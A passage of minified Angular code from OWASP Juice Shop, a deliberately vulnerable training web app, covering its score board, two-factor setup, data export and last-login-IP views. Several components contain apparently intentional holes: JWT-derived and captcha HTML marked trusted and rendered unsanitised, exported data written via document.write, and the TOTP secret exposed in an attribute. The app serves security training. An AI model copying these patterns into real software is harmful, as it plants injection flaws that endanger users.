5%"],["mat-icon-button",""],["color","accent"],["color","warn"],["fxLayout","row","fxLayout.lt-lg","column"],["fxFlex","40%","fxFlex.lt-lg","100%","class","primary-notification",3,"innerHTML",4,"ngIf"],[1,"fill-remaining-space"],["fxFlex","20%","fxFlex.lt-lg","100%","class","warn-notification",3,"innerHTML",4,"ngIf"],["fxFlex","40%","fxFlex.lt-lg","100%",1,"primary-notification",3,"innerHTML"],["fxFlex","20%","fxFlex.lt-lg","100%",1,"warn-notification",3,"innerHTML"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"mat-card",2)(3,"mat-card-title"),t._uU(4),t.ALo(5,"translate"),t.TgZ(6,"small",3),t._uU(7),t.qZA()(),t._UZ(8,"mat-progress-bar",4),t.qZA(),t.YNc(9,Ki,7,6,"mat-card",5),t.qZA(),t.TgZ(10,"mat-card")(11,"div",6),t.YNc(12,zi,14,23,"mat-button-toggle",7),t.TgZ(13,"button",8),t.NdJ("click",function(){return o.toggleAllDifficulty()}),t._uU(14),t.ALo(15,"translate"),t.qZA(),t.TgZ(16,"mat-button-toggle",9),t.NdJ("change",function(){return o.toggleShowSolvedChallenges()}),t.ALo(17,"translate"),t._UZ(18,"i",10),t._uU(19),t.ALo(20,"translate"),t.qZA(),t.YNc(21,$i,6,11,"mat-button-toggle",11),t.YNc(22,Vi,5,11,"mat-button-toggle",12),t.YNc(23,Xi,4,3,"button",13),t.TgZ(24,"div",14)(25,"input",15,16),t.NdJ("change",function(r){return o.restoreBackup(r.target.files.item(0))}),t.qZA()(),t.YNc(27,tr,4,3,"button",17),t.YNc(28,nr,2,7,"div",18),t.qZA(),t._UZ(29,"mat-divider"),t.TgZ(30,"div",19),t.YNc(31,or,5,13,"mat-button-toggle",20),t.TgZ(32,"button",21),t.NdJ("click",function(){return o.toggleAllChallengeCategory()}),t._uU(33),t.ALo(34,"translate"),t.qZA()()(),t.TgZ(35,"div",22),t._uU(36),t.ALo(37,"translate"),t.TgZ(38,"a",23),t._uU(39),t.ALo(40,"translate"),t.qZA()(),t.TgZ(41,"mat-card"),t.YNc(42,Or,22,5,"mat-table",24),t.qZA(),t.YNc(43,Nr,4,2,"div",25),t.qZA(),t._UZ(44,"img",26)(45,"ngx-spinner",27)),2&e&&(t.xp6(4),t.hij("",t.lcZ(5,24,"TITLE_SCORE_BOARD")," "),t.xp6(3),t.hij("",o.percentChallengesSolved,"%"),t.xp6(1),t.Q6J("color","accent")("value",o.percentChallengesSolved),t.xp6(1),t.Q6J("ngIf","never"!==o.codingChallengesEnabled),t.xp6(3),t.Q6J("ngForOf",o.availableDifficulties),t.xp6(1),t.Q6J("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted),t.xp6(1),t.Oqu(t.lcZ(15,26,o.toggledMajorityOfDifficulties?"BTN_HIDE_ALL":"BTN_SHOW_ALL")),t.xp6(2),t.Q6J("checked",o.showSolvedChallenges)("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted)("matTooltip",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted?t.xi3(17,28,"INFO_FULL_CHALLENGE_MODE",t.VKq(39,Tt,o.challenges.length)):""),t.xp6(3),t.hij(" ",t.lcZ(20,31,"BTN_SHOW_SOLVED")," "),t.xp6(2),t.Q6J("ngIf",o.showHackingInstructor),t.xp6(1),t.Q6J("ngIf",o.numDisabledChallenges>0),t.xp6(1),t.Q6J("ngIf",o.localBackupEnabled),t.xp6(4),t.Q6J("ngIf",o.localBackupEnabled),t.xp6(1),t.Q6J("ngIf",o.numDisabledChallenges>0&&o.showDisabledChallenges),t.xp6(3),t.Q6J("ngForOf",o.availableChallengeCategories),t.xp6(1),t.Q6J("disabled",o.restrictToTutorialsFirst&&!o.allTutorialsCompleted),t.xp6(1),t.Oqu(t.lcZ(34,33,o.toggledMajorityOfCategories?"BTN_HIDE_ALL":"BTN_SHOW_ALL")),t.xp6(3),t.hij(" ",t.lcZ(37,35,"SCORE_BOARD_LEGACY_CATCH_LINE")," "),t.xp6(3),t.hij(" ",t.lcZ(40,37,"SCORE_BOARD_LEGACY_ACTION_BUTTON")," "),t.xp6(3),t.Q6J("ngIf",o.challenges),t.xp6(1),t.Q6J("ngIf",o.showContributionInfoBox||o.questionnaireUrl))},dependencies:[h.sg,h.O5,U.rH,u.Pi,p.xw,p.yH,$.b8,ae.Ro,F.Hw,x.lW,x.zs,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,T.a8,T.n5,z.d,Ee.pW,Q.gM,Me.Yi,De.k,ie.qn,ie.HS,ji,u.X$],styles:["mat-card[_ngcontent-%COMP%], mat-expansion-panel[_ngcontent-%COMP%], footer[_ngcontent-%COMP%]{margin-bottom:35px;margin-left:35px;margin-right:35px;min-width:300px}.category-container[_ngcontent-%COMP%], mat-table[_ngcontent-%COMP%]{margin-top:25px}.star-container[_ngcontent-%COMP%]{margin-bottom:10px;margin-top:25px}.star-container[_ngcontent-%COMP%] svg[_ngcontent-%COMP%]:hover{cursor:pointer}.mat-column-status[_ngcontent-%COMP%] button[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{cursor:initial}.mat-column-status[_ngcontent-%COMP%] button[_ngcontent-%COMP%] span[_ngcontent-%COMP%] mat-button-toggle[_ngcontent-%COMP%]{cursor:pointer}.heading[_ngcontent-%COMP%]{padding-top:5px}.mat-raised-button[_ngcontent-%COMP%]{width:-moz-fit-content;width:fit-content}.category-toggle[_ngcontent-%COMP%]{font-size:small}.overlay-fullscreen[_ngcontent-%COMP%] .black-overlay{position:fixed}.hacking-instructor-button[_ngcontent-%COMP%], .vulnerability-mitigation-button[_ngcontent-%COMP%], .code-snippet-button[_ngcontent-%COMP%]{margin-left:8px}.fill-remaining-space[_ngcontent-%COMP%]{flex:1 1 auto}.disabled-challenges-infoBox[_ngcontent-%COMP%]{align-self:center;color:#e64a19;cursor:default;height:100%;margin:0}.disabled-challenges-infoBox[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{color:#546e7a;font-style:normal}.backupButton[_ngcontent-%COMP%]{align-self:center;margin-left:15px}.new-score-board-ad[_ngcontent-%COMP%]{align-items:center;display:flex;justify-content:center;margin-bottom:16px;margin-top:-16px}.new-score-board-ad[_ngcontent-%COMP%] a[_ngcontent-%COMP%]{margin-left:8px}"]}),n})(),qe=(()=>{class n{constructor(e){this.http=e}verify(e){return this.http.post(`${P.N.hostServer}/rest/2fa/verify`,{tmpToken:localStorage.getItem("totp_tmp_token"),totpToken:e}).pipe((0,C.U)(o=>o.authentication),(0,_.K)(o=>{throw o}))}status(){return this.http.get(`${P.N.hostServer}/rest/2fa/status`).pipe((0,C.U)(e=>e),(0,_.K)(e=>{throw e}))}setup(e,o,i){return this.http.post(`${P.N.hostServer}/rest/2fa/setup`,{password:e,setupToken:i,initialToken:o}).pipe((0,C.U)(()=>{}),(0,_.K)(r=>{throw r}))}disable(e){return this.http.post(`${P.N.hostServer}/rest/2fa/disable`,{password:e}).pipe((0,C.U)(()=>{}),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Mr(n,a){1&n&&(t.TgZ(0,"div",13),t._uU(1,"INVALID_TWO_FACTOR_AUTH_TOKEN"),t.qZA())}O.vI.add(g.B$L);let Dr=(()=>{class n{constructor(e,o,i,r,l){this.twoFactorAuthService=e,this.cookieService=o,this.userService=i,this.router=r,this.ngZone=l,this.twoFactorForm=new s.nJ({token:new s.p4("",[s.kI.minLength(6),s.kI.maxLength(6),s.kI.required,s.kI.pattern("^[\\\\d]{6}$")])}),this.errored=!1}verify(){var e=this;this.twoFactorAuthService.verify(this.twoFactorForm.value.token).subscribe(i=>{localStorage.setItem("token",i.token);const r=new Date;r.setHours(r.getHours()+8),this.cookieService.put("token",i.token,{expires:r}),sessionStorage.setItem("bid",i.bid?.toString()),this.userService.isLoggedIn.next(!0),this.ngZone.run((0,w.Z)(function*(){return yield e.router.navigate(["/search"])}))},i=>(this.errored=!0,setTimeout(()=>{this.errored=!1},5e3),i))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(qe),t.Y36(I.N_),t.Y36(R),t.Y36(U.F0),t.Y36(t.R0b))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-two-factor-auth-enter"]],decls:27,vars:13,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],["class","error","style","margin-bottom: 10px;","translate","",4,"ngIf"],[3,"formGroup","ngSubmit"],[1,"form-container"],["id","inputToken","appearance","outline","color","accent"],["formControlName","token","type","text","minlength","6","maxlength","6","pattern","^[\\\\d]{6}$","matInput","","id","totpToken","aria-label","Field for entering the Two Factor token",3,"placeholder"],["tokenInput",""],["matSuffix","","matTooltipPosition","right","aria-label","The code to be entered from the authenticator must have 6 digits.",3,"matTooltip"],["align","end"],["type","submit","color","primary","mat-raised-button","","id","totpSubmitButton","aria-label","Button to confirm the input",3,"disabled"],[1,"material-icons"],["translate","",1,"error",2,"margin-bottom","10px"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_TWO_FACTOR_AUTHENTICATION"),t.qZA(),t.TgZ(4,"p",2),t._uU(5,"TITLE_TWO_FACTOR_AUTH_ENTER"),t.qZA(),t.YNc(6,Mr,2,0,"div",3),t.TgZ(7,"form",4),t.NdJ("ngSubmit",function(){return o.verify()}),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_TWO_FACTOR_AUTH_TOKEN"),t.qZA(),t._UZ(12,"input",7,8),t.ALo(14,"translate"),t.TgZ(15,"mat-icon",9),t.ALo(16,"translate"),t._uU(17," help_outline "),t.qZA(),t.TgZ(18,"mat-hint",10),t._uU(19),t.qZA(),t.TgZ(20,"mat-error",2),t._uU(21,"INVALID_TWO_FACTOR_AUTH_TOKEN"),t.qZA()()(),t.TgZ(22,"button",11)(23,"i",12),t._uU(24," lock_open "),t.qZA(),t._uU(25),t.ALo(26,"translate"),t.qZA()()()()),2&e){const i=t.MAs(13);t.xp6(6),t.Q6J("ngIf",o.errored),t.xp6(1),t.Q6J("formGroup",o.twoFactorForm),t.xp6(5),t.s9C("placeholder",t.lcZ(14,7,"2FA_ENTER_CODE_PLACEHOLDER")),t.xp6(3),t.s9C("matTooltip",t.lcZ(16,9,"INITIAL_TOKEN_TOOLTIP")),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/6"),t.xp6(3),t.Q6J("disabled",o.twoFactorForm.invalid),t.xp6(3),t.hij(" ",t.lcZ(26,11,"BTN_LOGIN")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s._Y,s.Fj,s.JJ,s.JL,s.wO,s.nD,s.c5,s.sg,s.u,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}#totpSubmitButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}#inputToken[_ngcontent-%COMP%]{width:100%}"]}),n})();O.vI.add(g.wOQ,g.R3t);let qr=(()=>{class n{constructor(e,o){this.route=e,this.translate=o,this.error=null}ngOnInit(){const e=this.route.snapshot.queryParams.error;e&&this.translate.get(e).subscribe(o=>{this.error=o},o=>{this.error=o})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(U.gz),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-error-page"]],decls:7,vars:1,consts:[[1,"warn-notification","mat-elevation-z6"],[1,"mat-display-3"],[1,"fas","fa-hand-paper"],[1,"mat-subheading-2"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"div")(2,"div",1),t._UZ(3,"i",2),t._uU(4," 403"),t.qZA(),t.TgZ(5,"span",3),t._uU(6),t.qZA()()()),2&e&&(t.xp6(6),t.Oqu(o.error))},dependencies:[T.a8],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-left:20%;margin-right:20%}"]}),n})();var re=c(2289),At=c(3267);let Fr=(()=>{class n{constructor(e){this.breakpointObserver=e,this.windowWidth=window.innerWidth,this.isHandset$=this.breakpointObserver.observe(re.u3.Handset).pipe((0,C.U)(o=>o.matches))}ngAfterViewInit(){this.windowWidth=window.innerWidth}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(re.Yg))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-privacy-security"]],decls:3,vars:0,consts:[[1,"sidenav-container"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-sidenav-container",0)(1,"mat-sidenav-content"),t._UZ(2,"router-outlet"),t.qZA()())},dependencies:[U.lC,At.TM,At.Rh]}),n})();var se=c(3079);function Br(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",5)(1,"p",6),t._uU(2,"2FA_SUCCESSFUL_SETUP"),t.qZA(),t.TgZ(3,"form",7),t.NdJ("ngSubmit",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.disable())}),t.TgZ(4,"h2",8),t._uU(5,"REMOVE_TWO_FACTOR_AUTH"),t.qZA(),t.TgZ(6,"div",9),t._uU(7,"2FA_SETUP_ERROR"),t.qZA(),t.TgZ(8,"mat-form-field",10)(9,"mat-label",6),t._uU(10,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(11,"input",11),t.ALo(12,"translate"),t.qZA(),t.TgZ(13,"button",12)(14,"i",13),t._uU(15," remove_circle_outline "),t.qZA(),t._uU(16),t.ALo(17,"translate"),t.qZA()()()}if(2&n){const e=t.oxw();t.xp6(3),t.Q6J("formGroup",e.twoFactorDisableForm),t.xp6(3),t.Q6J("hidden",!(e.errored&&!e.twoFactorDisableForm.dirty)),t.xp6(5),t.s9C("placeholder",t.lcZ(12,5,"MANDATORY_CURRENT_PASSWORD")),t.xp6(2),t.Q6J("disabled",e.twoFactorDisableForm.invalid),t.xp6(3),t.hij(" ",t.lcZ(17,7,"BTN_REMOVE")," ")}}function Rr(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"form",14),t.NdJ("ngSubmit",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.setup())}),t.TgZ(1,"span",15),t._uU(2,"2FA_AUTH_SETUP_INSTRUCTIONS"),t.qZA(),t.TgZ(3,"div",16),t._UZ(4,"qr-code",17),t.qZA(),t.TgZ(5,"div",9),t._uU(6,"2FA_SETUP_ERROR"),t.qZA(),t.TgZ(7,"mat-form-field",10)(8,"mat-label",6),t._uU(9,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(10,"input",18),t.ALo(11,"translate"),t.qZA(),t.TgZ(12,"mat-form-field",10)(13,"mat-label",6),t._uU(14,"INITIAL_CODE"),t.qZA(),t._UZ(15,"input",19,20),t.ALo(17,"translate"),t.TgZ(18,"mat-error",6),t._uU(19,"INVALID_TWO_FACTOR_AUTH_TOKEN"),t.qZA(),t.TgZ(20,"mat-icon",21),t.ALo(21,"translate"),t._uU(22," help_outline "),t.qZA(),t.TgZ(23,"mat-hint",22),t._uU(24),t.qZA()(),t.TgZ(25,"button",23)(26,"i",13),t._uU(27," save "),t.qZA(),t._uU(28),t.ALo(29,"translate"),t.qZA()()}if(2&n){const e=t.MAs(16),o=t.oxw();t.Q6J("formGroup",o.twoFactorSetupForm),t.xp6(4),t.Q6J("value",o.totpUrl)("size",300)("level","L"),t.xp6(1),t.Q6J("hidden",!(o.errored&&!o.twoFactorSetupForm.dirty)),t.xp6(5),t.s9C("placeholder",t.lcZ(11,12,"MANDATORY_CURRENT_PASSWORD")),t.xp6(5),t.s9C("placeholder",t.lcZ(17,14,"INITIAL_CODE_PLACEHOLDER")),t.uIk("data-test-totp-secret",o.totpSecret),t.xp6(5),t.s9C("matTooltip",t.lcZ(21,16,"INITIAL_TOKEN_TOOLTIP")),t.xp6(4),t.hij("",(null==e.value?null:e.value.length)||0,"/6"),t.xp6(1),t.Q6J("disabled",o.twoFactorSetupForm.invalid),t.xp6(3),t.hij(" ",t.lcZ(29,18,"BTN_SAVE")," ")}}O.vI.add(g.B$L,g.r6l);let Yr=(()=>{class n{constructor(e,o,i,r,l){this.twoFactorAuthService=e,this.configurationService=o,this.snackBar=i,this.translateService=r,this.snackBarHelperService=l,this.twoFactorSetupForm=new s.nJ({passwordControl:new s.p4("",[s.kI.required]),initalTokenControl:new s.p4("",[s.kI.required,s.kI.pattern("^[\\\\d]{6}$")])}),this.twoFactorDisableForm=new s.nJ({passwordControl:new s.p4("",[s.kI.required])}),this.setupStatus=null,this.errored=null,this.appName="OWASP Juice Shop"}ngOnInit(){this.updateStatus()}updateStatus(){const e=this.twoFactorAuthService.status(),o=this.configurationService.getApplicationConfiguration();return(0,Nt.D)([e,o]).subscribe(([{setup:i,email:r,secret:l,setupToken:m},v])=>{if(this.setupStatus=i,this.appName=v.application.name,!i){const A=encodeURIComponent(this.appName);this.totpUrl=`otpauth://totp/${A}:${r}?secret=${l}&issuer=${A}`,this.totpSecret=l,this.setupToken=m}},()=>{console.log("Failed to fetch 2fa status")}),e}setup(){this.twoFactorAuthService.setup(this.twoFactorSetupForm.get("passwordControl")?.value,this.twoFactorSetupForm.get("initalTokenControl")?.value,this.setupToken).subscribe(()=>{this.setupStatus=!0,this.snackBarHelperService.open("CONFIRM_2FA_SETUP")},()=>{this.twoFactorSetupForm.get("passwordControl")?.markAsPristine(),this.twoFactorSetupForm.get("initalTokenControl")?.markAsPristine(),this.errored=!0})}disable(){this.twoFactorAuthService.disable(this.twoFactorDisableForm.get("passwordControl")?.value).subscribe(()=>{this.updateStatus().subscribe(()=>{this.setupStatus=!1}),this.snackBarHelperService.open("CONFIRM_2FA_DISABLE")},()=>{this.twoFactorDisableForm.get("passwordControl")?.markAsPristine(),this.errored=!0})}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(qe),t.Y36(b.e),t.Y36(ut.ux),t.Y36(u.sK),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-two-factor-auth"]],decls:6,vars:2,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["id","2fa-setup-title","translate",""],["id","2fa-setup-successfully",4,"ngIf"],["class","form-container","id","two-factor-auth-setup",3,"formGroup","ngSubmit",4,"ngIf"],["id","2fa-setup-successfully"],["translate",""],["id","two-factor-auth-disable",1,"form-container",3,"formGroup","ngSubmit"],["id","two-factor-auth-disable-title","translate",""],["translate","",1,"error",3,"hidden"],["appearance","outline","color","accent"],["id","currentPasswordDisable","formControlName","passwordControl","type","password","matInput","","aria-label","Field to enter the current password","autocomplete","off",3,"placeholder"],["type","submit","id","disableTwoFactorAuth","mat-raised-button","","color","warn","aria-label","Button to remove the two-factor authentication",3,"disabled"],[1,"material-icons"],["id","two-factor-auth-setup",1,"form-container",3,"formGroup","ngSubmit"],["id","2fa-setup-instructions","translate",""],["fxLayoutAlign","center",1,"two-factor-qr-code"],[3,"value","size","level"],["id","currentPasswordSetup","formControlName","passwordControl","type","password","matInput","","aria-label","Field to enter the current password","autocomplete","off",3,"placeholder"],["id","initalToken","formControlName","initalTokenControl","type","text","matInput","","aria-label","Field to enter the initial token. This must have 6 digits.","minlength","6","maxlength","6","pattern","^[\\\\d]{6}$",3,"placeholder"],["initToken",""],["matSuffix","","matTooltipPosition","right","aria-label","The token to be entered from the authenticator must have 6 digits.",3,"matTooltip"],["align","end"],["type","submit","id","setupTwoFactorAuth","mat-raised-button","","color","primary","aria-label","Button to complete the two-factor configuration",3,"disabled"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_TWO_FACTOR_AUTH_CONFIG"),t.qZA(),t.YNc(4,Br,18,9,"div",3),t.YNc(5,Rr,30,20,"form",4),t.qZA()()),2&e&&(t.xp6(4),t.Q6J("ngIf",!0===o.setupStatus),t.xp6(1),t.Q6J("ngIf",!1===o.setupStatus))},dependencies:[h.O5,u.Pi,p.Wh,s._Y,s.Fj,s.JJ,s.JL,s.wO,s.nD,s.c5,s.sg,s.u,se.V,F.Hw,f.TO,f.KE,f.bx,f.hX,f.R9,x.lW,T.a8,B.Nt,Q.gM,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;margin-bottom:50px;margin-left:auto;margin-right:auto;min-width:320px;width:30%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}#setupTwoFactorAuth[_ngcontent-%COMP%], #disableTwoFactorAuth[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}.two-factor-qr-code[_ngcontent-%COMP%]{margin:16px 0}#two-factor-auth-disable[_ngcontent-%COMP%]{margin-top:32px}#two-factor-auth-disable-title[_ngcontent-%COMP%]{margin-bottom:0}button[_ngcontent-%COMP%]{margin-top:5px}"]}),n})(),Fe=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer}getCaptcha(){return this.http.get(this.hostServer+"/rest/image-captcha/").pipe((0,_.K)(e=>{throw e}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Be=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/rest/user"}erase(e){return this.http.post(this.host+"/erasure-request",e).pipe((0,_.K)(o=>{throw o}))}dataExport(e){return this.http.post(this.host+"/data-export",e).pipe((0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function Jr(n,a){if(1&n&&(t.TgZ(0,"div")(1,"p",13),t._uU(2),t.qZA()()),2&n){const e=t.oxw();t.xp6(2),t.Oqu(e.error)}}function Qr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}function Hr(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CAPTCHA "),t.qZA())}const Gr=function(){return{length:"5"}};function jr(n,a){if(1&n&&(t.TgZ(0,"div")(1,"div")(2,"span",14),t._uU(3,"CAPTCHA "),t.TgZ(4,"span"),t._uU(5,":"),t.qZA()(),t._UZ(6,"div",15),t.qZA(),t.TgZ(7,"mat-form-field",16)(8,"mat-label",2),t._uU(9,"ENTER_CAPTCHA"),t.qZA(),t._UZ(10,"input",17,18),t.ALo(12,"translate"),t.TgZ(13,"mat-hint",19),t._uU(14),t.qZA(),t.YNc(15,Qr,2,0,"mat-error",20),t.YNc(16,Hr,2,0,"mat-error",20),t.qZA()()),2&n){const e=t.MAs(11),o=t.oxw();t.xp6(6),t.Q6J("innerHTML",o.captcha,t.oJD),t.xp6(4),t.s9C("placeholder",t.xi3(12,6,"TYPE_THESE_LETTERS",t.DdM(9,Gr))),t.Q6J("formControl",o.captchaControl),t.xp6(4),t.hij("",(null==e.value?null:e.value.length)||0,"/5"),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.captchaControl.invalid&&o.captchaControl.errors.minlength)}}let Kr=(()=>{class n{constructor(e,o,i){this.sanitizer=e,this.imageCaptchaService=o,this.dataSubjectService=i,this.captchaControl=new s.p4("",[s.kI.required,s.kI.minLength(5)]),this.formatControl=new s.p4("",[s.kI.required]),this.dataRequest=void 0,this.presenceOfCaptcha=!1}ngOnInit(){this.needCaptcha(),this.dataRequest={}}needCaptcha(){const e=new Date,o=localStorage.getItem("lstdtxprt")?new Date(JSON.parse(String(localStorage.getItem("lstdtxprt")))):new Date(0);e.getTime()-o.getTime()<3e5&&(this.getNewCaptcha(),this.presenceOfCaptcha=!0)}getNewCaptcha(){this.imageCaptchaService.getCaptcha().subscribe(e=>{this.captcha=this.sanitizer.bypassSecurityTrustHtml(e.image)})}save(){this.presenceOfCaptcha&&(this.dataRequest.answer=this.captchaControl.value),this.dataRequest.format=this.formatControl.value,this.dataSubjectService.dataExport(this.dataRequest).subscribe(e=>{this.error=null,this.confirmation=e.confirmation,this.userData=e.userData,window.open("","_blank","width=500")?.document.write(this.userData),this.lastSuccessfulTry=new Date,localStorage.setItem("lstdtxprt",JSON.stringify(this.lastSuccessfulTry)),this.ngOnInit(),this.resetForm()},e=>{this.error=e.error,this.confirmation=null,this.resetFormError()})}resetForm(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue(""),this.formatControl.markAsUntouched(),this.formatControl.markAsPristine(),this.formatControl.setValue("")}resetFormError(){this.captchaControl.markAsUntouched(),this.captchaControl.markAsPristine(),this.captchaControl.setValue("")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(k.H7),t.Y36(Fe),t.Y36(Be))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-data-export"]],decls:26,vars:7,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[4,"ngIf"],["id","data-export-form",1,"form-container"],["id","formatControl","aria-label","Select an option",3,"formControl"],["translate","",1,"radio-label"],["value","1","aria-label","Export Option JSON"],["value","2","aria-label","Export Option PDF","disabled",""],["value","3","aria-label","Export Option Excel","disabled",""],["type","submit","id","submitButton","color","primary","mat-raised-button","","aria-label","Button to send the request",2,"margin-top","15px",3,"disabled","click"],[1,"material-icons"],[1,"hint"],[1,"error"],["translate","",2,"float","left","margin-top","40px","font-weight","500","margin-bottom","20px"],[1,"captcha-image",2,"margin-left","10px",3,"innerHTML"],["appearance","outline","color","accent",2,"margin-top","10px","width","100%"],["type","text","matInput","","maxlength","5","aria-label","Input for the CAPTCHA",3,"formControl","placeholder"],["captchaInput",""],["align","end"],["translate","",4,"ngIf"]],template:function(e,o){1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_REQUEST_DATA_EXPORT"),t.qZA(),t.YNc(4,Jr,3,1,"div",3),t.TgZ(5,"div",4)(6,"mat-radio-group",5)(7,"mat-label",6),t._uU(8,"EXPORT_LABEL "),t.TgZ(9,"span"),t._uU(10,":"),t.qZA()(),t.TgZ(11,"mat-radio-button",7),t._uU(12,"JSON"),t.qZA(),t.TgZ(13,"mat-radio-button",8),t._uU(14,"PDF"),t.qZA(),t.TgZ(15,"mat-radio-button",9),t._uU(16,"Excel"),t.qZA()(),t.YNc(17,jr,17,10,"div",3),t.qZA(),t.TgZ(18,"button",10),t.NdJ("click",function(){return o.save()}),t.TgZ(19,"i",11),t._uU(20," save_alt "),t.qZA(),t._uU(21),t.ALo(22,"translate"),t.qZA(),t.TgZ(23,"div",12)(24,"span",2),t._uU(25,"DATA_EXPORT_HINT"),t.qZA()()()()),2&e&&(t.xp6(4),t.Q6J("ngIf",o.error),t.xp6(2),t.Q6J("formControl",o.formatControl),t.xp6(11),t.Q6J("ngIf",o.presenceOfCaptcha),t.xp6(1),t.Q6J("disabled",o.formatControl.invalid||o.captchaControl.invalid&&o.presenceOfCaptcha),t.xp6(3),t.hij(" ",t.lcZ(22,5,"BTN_REQUEST")," "))},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.nD,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,nt.VQ,nt.U0,u.X$],styles:["mat-card[_ngcontent-%COMP%]{display:block;height:auto;margin-bottom:50px;margin-left:auto;margin-right:auto;min-width:320px;width:25%}#submitButton[_ngcontent-%COMP%]{margin-left:20%;width:60%}.hint[_ngcontent-%COMP%]{display:flex;font-size:10px;justify-content:center;margin-top:5px}.mat-radio-button[_ngcontent-%COMP%] ~ .mat-radio-button[_ngcontent-%COMP%]{margin-bottom:16px;margin-left:16px}.radio-label[_ngcontent-%COMP%]{font-weight:500;margin-right:8px}.captcha-image[_ngcontent-%COMP%]{float:left;margin-bottom:10px;margin-top:20px}"]}),n})(),Wr=(()=>{class n{constructor(e){this.sanitizer=e,this.lastLoginIp="?"}ngOnInit(){try{this.parseAuthToken()}catch(e){console.log(e)}}parseAuthToken(){let e={};const o=localStorage.getItem("token");o&&(e=It(o),e.data.lastLoginIp&&(this.lastLoginIp=this.sanitizer.bypassSecurityTrustHtml(`<small>${e.data.lastLoginIp}</small>`)))}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-last-login-ip"]],decls:8,vars:1,consts:[[1,"ipCard","mat-elevation-z6"],["translate",""],[2,"margin-bottom","15px"],[3,"innerHTML"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"LAST_LOGIN_IP"),t.qZA(),t.TgZ(3,"p",2)(4,"span",1),t._uU(5,"IP_ADDRESS"),t.qZA(),t._uU(6,"\\xa0\\xa0"),t._UZ(7,"span",3),t.qZA()()),2&e&&(t.xp6(7),t.Q6J("innerHTML",o.lastLoginIp,t.oJD))},dependencies:[u.Pi,T.a8],styles:[".ipCard[_ngcontent-%COMP%]{display:block;margin:0 auto 5%;min-width:320px;width:25%}"]}),n})(),zr=(()=>{class n{constructor(e,o){this._document=e,this.configurationService=o,this.applicationName="OWASP Juice 